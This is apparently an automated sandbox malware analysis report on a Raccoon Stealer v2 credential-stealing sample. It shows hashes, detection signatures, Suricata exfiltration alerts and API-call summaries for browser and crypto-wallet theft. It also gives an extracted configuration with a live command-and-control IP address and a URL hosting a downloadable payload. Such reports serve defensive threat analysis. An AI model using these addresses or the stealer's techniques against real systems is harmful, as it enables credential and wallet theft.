Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
Analysis ID:	1492065
MD5:	093c5901f614540d964109a9ac58a0ff
SHA1:	0cf65ecbb3a7cb7e0e4b6104ce41147a629d61b8
SHA256:	f99f375d5b6400c8fefbbed89326980f379a59b6e66cae19d44fe60f3f31b7b7
Tags:	exeRecordBreaker
Infos:

Detection

Raccoon Stealer v2

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected Raccoon Stealer v2

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains more sections than normal

PE file contains sections with non-standard names

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe (PID: 5720 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe" MD5: 093C5901F614540D964109A9AC58A0FF)

cleanup

Malware Configuration

Threatname: Raccoon

{"C2 url": ["http://193.142.147.59:80"], "Bot ID": "fa72f4c1fbe65cee8651140fd47267ba", "XOR key": "fa72f4c1fbe65cee8651140fd47267ba"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
dump.pcap	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2248000293.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2186791851.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2246708741.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2247833378.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2247098180.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2247710001.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2248659704.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2208093450.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2244106577.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2245299707.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2216146827.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2248226612.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2261702063.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2246968570.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2244966319.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2246450992.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2261100666.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2244674737.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2186677991.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2230213331.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2207244687.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2223211893.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2243905572.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2251534302.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2248914493.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2247464359.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2244408755.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2207869504.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2245104755.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2247342460.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000000.2172081165.0000000000412000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2233822452.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2233559298.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2244559080.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2248395447.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2247220737.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2247585846.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2246582942.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2246161943.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2246835134.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.2186878241.000000000068C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe PID: 5720	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe PID: 5720	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe PID: 5720	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security
Click to see the 45 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe.400000.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0.0.SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe.400000.0.unpack	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security
0.2.SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe.400000.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0.2.SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe.400000.0.unpack	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security

Suricata Signatures

ETPRO MALWARE Win32/RecordBreaker Host Exfil M1 - Source IP: 192.168.2.6 - Destination IP: 193.142.147.59

Timestamp:	2024-08-13T10:21:17.807068+0200
SID:	2854151
Severity:	1
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/RecordBreaker CnC Checkin M1 - Source IP: 192.168.2.6 - Destination IP: 193.142.147.59

Timestamp:	2024-08-13T10:21:11.287359+0200
SID:	2036934
Severity:	1
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/RecordBreaker CnC Checkin - Server Response - Source IP: 193.142.147.59 - Destination IP: 192.168.2.6

Timestamp:	2024-08-13T10:21:11.535611+0200
SID:	2036955
Severity:	1
Source Port:	80
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030g	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030%	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030t	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030p	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/e4	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/098e00d7c477aadee19feb075a6b50302	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/p	Avira URL Cloud: Label: malware
Source: http://185.196.9.251/autotask/Eflbu.exe/autotask/Eflbu.exe	Avira URL Cloud: Label: malware
Source: http://193.142.147.59:80/098e00d7c477aadee19feb075a6b5030	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030B	Avira URL Cloud: Label: malware
Source: http://185.196.9.251/autotask/Eflbu.exe	Avira URL Cloud: Label: malware
Source: http://193.142.147.59:80	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030L	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030	Avira URL Cloud: Label: malware
Source: http://193.142.147.59/R3	Avira URL Cloud: Label: malware

Found malware configuration

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Malware Configuration Extractor: Raccoon {"C2 url": ["http://193.142.147.59:80"], "Bot ID": "fa72f4c1fbe65cee8651140fd47267ba", "XOR key": "fa72f4c1fbe65cee8651140fd47267ba"}

Multi AV Scanner detection for domain / URL

Source: http://193.142.147.59/	Virustotal: Detection: 14%			Perma Link
Source: http://193.142.147.59:80	Virustotal: Detection: 14%			Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	ReversingLabs: Detection: 87%
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Virustotal: Detection: 68%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00403A6C LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,PathCombineW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,CopyFileW,DeleteFileW,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,lstrcmpW,wsprintfW,lstrlenW,CryptUnprotectData,lstrcmpW,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_00403A6C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004035B2 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	0_2_004035B2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00403FB8 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	0_2_00403FB8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004025C2 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,	0_2_004025C2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040254C CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,StrCpyW,LocalFree,LocalFree,	0_2_0040254C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00407553 LocalAlloc,lstrlenA,CryptStringToBinaryA,MultiByteToWideChar,LocalAlloc,MultiByteToWideChar,StrCpyW,LocalFree,StrCpyW,StrCpyW,LocalFree,	0_2_00407553

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: freebl3.pdb source: freebl3.dll.0.dr
Source:	Binary string: softokn3.pdbp source: softokn3.dll.0.dr
Source:	Binary string: mozglue.pdb@+ source: mozglue.dll.0.dr
Source:	Binary string: nss3.pdb source: nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: mozglue.dll.0.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.0.dr

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00406CC5 LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_00406CC5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00404F4A StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	0_2_00404F4A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040F04B RegOpenKeyExA,CreateSemaphoreA,CreateSemaphoreA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,OutputDebugStringA,OutputDebugStringA,CloseHandle,LocalAlloc,LocalFree,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,OutputDebugStringA,LocalAlloc,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,LocalAlloc,LocalFree,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,CreateMutexA,ReleaseMutex,RegOpenKeyExA,SHGetFolderPathW,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,OutputDebugStringA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,LocalAlloc,StrCpyW,LocalFree,LocalFree,	0_2_0040F04B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004108CA FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,SetEnvironmentVariableA,LocalFree,OutputDebugStringA,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateFileMappingW,RegOpenKeyExA,RegOpenKeyExA,CreateToolhelp32Snapshot,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,OutputDebugStringA,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,RegOpenKeyExA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,Process32FirstW,lstrcmpiW,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,LocalAlloc,SetEnvironmentVariableA,LocalFree,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,FindFirstFileA,FindClose,CreateFileMappingW,OutputDebugStringA,OutputDebugStringA,CloseHandle,OutputDebugStringA,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,	0_2_004108CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040A1CD RegOpenKeyExA,OutputDebugStringA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,OutputDebugStringA,OutputDebugStringA,ReleaseMutex,GetLastError,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,FindFirstFileA,FindClose,CreateFileMappingW,CloseHandle,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateSemaphoreA,LocalAlloc,LocalAlloc,LocalAlloc,StrStrW,OutputDebugStringA,lstrlenW,lstrlenW,StrToIntW,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,LocalAlloc,LocalFree,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,OutputDebugStringA,FindCloseChangeNotification,CreateSemaphoreA,LocalFree,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,GetLastError,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,OutputDebugStringA,ReleaseMutex,OutputDebugStringA,CreateFileMappingW,SetEnvironmentVariableA,InternetOpenW,InternetConnectW,HttpOpenRequestW,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,OutputDebugStringA,FindFirstFileA,FindClose,SetEnvironmentVariableA,CreateMutexA,ReleaseMutex,GetLastError,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,SetEnvironmentVariableA,lstrlenA,lstrlenW,HttpSendRequestW,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,SetEnvironmentVariableA,FindFirstFileA,FindClose,LocalAlloc,LocalFree,CreateFileMappingW,CloseHandle,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,GetLastError,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,InternetReadFile,InternetReadFile,OutputDebugStringA,InternetCloseHandle,InternetCloseHandle,CreateMutexA,RegOpenKeyExA,ReleaseMutex,OutputDebugStringA,RegOpenKeyExA,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,RegOpenKeyExA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,GetLastError,LocalFree,InternetCloseHandle,CreateSemaphoreA,GetLastError,ReleaseSemaphore,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,CancelWaitableTimer,SetEnvironmentVariableA,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,lstrlenA,MultiByteToWideChar,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,LocalAlloc,GetLastError,LocalFree,OutputDebugStringA,CreateWaitableTimerA	0_2_0040A1CD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040F9D2 OutputDebugStringA,GetLastError,RegOpenKeyExA,lstrlenA,LocalAlloc,LocalFree,RegOpenKeyExA,RegOpenKeyExA,FindFirstFileA,FindClose,CreateMutexA,OutputDebugStringA,OutputDebugStringA,ReleaseMutex,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,FindCloseChangeNotification,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,RegOpenKeyExA,OutputDebugStringA,LocalAlloc,MultiByteToWideChar,OutputDebugStringA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,GetLastError,LocalAlloc,LocalFree,GetLastError,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,SetEnvironmentVariableA,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,SetEnvironmentVariableA,RegOpenKeyExA,	0_2_0040F9D2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00408CDA EntryPoint,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,OutputDebugStringA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,GetLastError,GetLastError,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,LocalAlloc,LocalFree,OutputDebugStringA,CreateMutexA,RegOpenKeyExA,RegOpenKeyExA,ReleaseMutex,RegOpenKeyExA,OutputDebugStringA,SetEnvironmentVariableA,CoInitialize,CreateMutexA,ReleaseMutex,GetLastError,RegOpenKeyExA,RegOpenKeyExA,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,OutputDebugStringA,CreateFileMappingW,SetEnvironmentVariableA,FindCloseChangeNotification,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironm